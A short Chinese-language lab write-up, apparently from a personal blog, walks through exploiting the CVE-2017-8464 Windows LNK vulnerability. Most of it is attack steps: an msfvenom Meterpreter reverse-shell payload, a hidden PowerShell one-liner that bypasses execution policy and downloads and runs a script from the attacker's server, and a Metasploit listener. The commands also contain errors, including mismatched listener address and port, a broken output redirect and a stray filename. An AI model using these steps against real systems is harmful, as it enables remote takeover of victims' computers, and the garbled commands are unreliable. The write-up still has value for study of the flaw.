CVE-2017-8464

情报收集

  北京时间 2017 年 6 月 13 日凌晨，微软官方发布 6 月安全补丁程序，“震网三代” LNK 文件远程代码执行漏洞
CVE-2017-8464 ，当 Windows 系统在解析快捷方式时，存在远程执行任意代码的高危漏洞，黑客可以通过 U 盘、网络共享等途径触发漏洞，完全控制用户系统，安全风险高危。
  前段时间在知乎上看到了 CVE-2017-8464 漏洞的利用过程，一直想尝试一下，今天特地抽空尝试了一下。
  其实这个漏洞挺无聊的，和之前的 OFFICE OLE2LINK 漏洞 ( CVE-2017-0199 )很接近，本质上都是在解析文件的时候有漏洞，从而能执行任意代码。
环境：
  攻击机：KaliLinux(有 web 服务器) ip:192.168.1.110
  靶机：WindowsServer2008R2 ip:192.168.1.111

1.利用 Msf 生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110 lport=5555 -f psh-reflection;/var/www/html/t.ps1
​

2.生成 LNK 快捷方式文件

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.110/t.ps1');test.ps1"
​

3.在 metesploit 中监听,在靶机上运行 LNK 文件，弹回 shell

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 192.168.0.101 
msf exploit(handler) > set LPORT 6666 msf exploit(handler) > show options 
msf exploit(handler) > run
​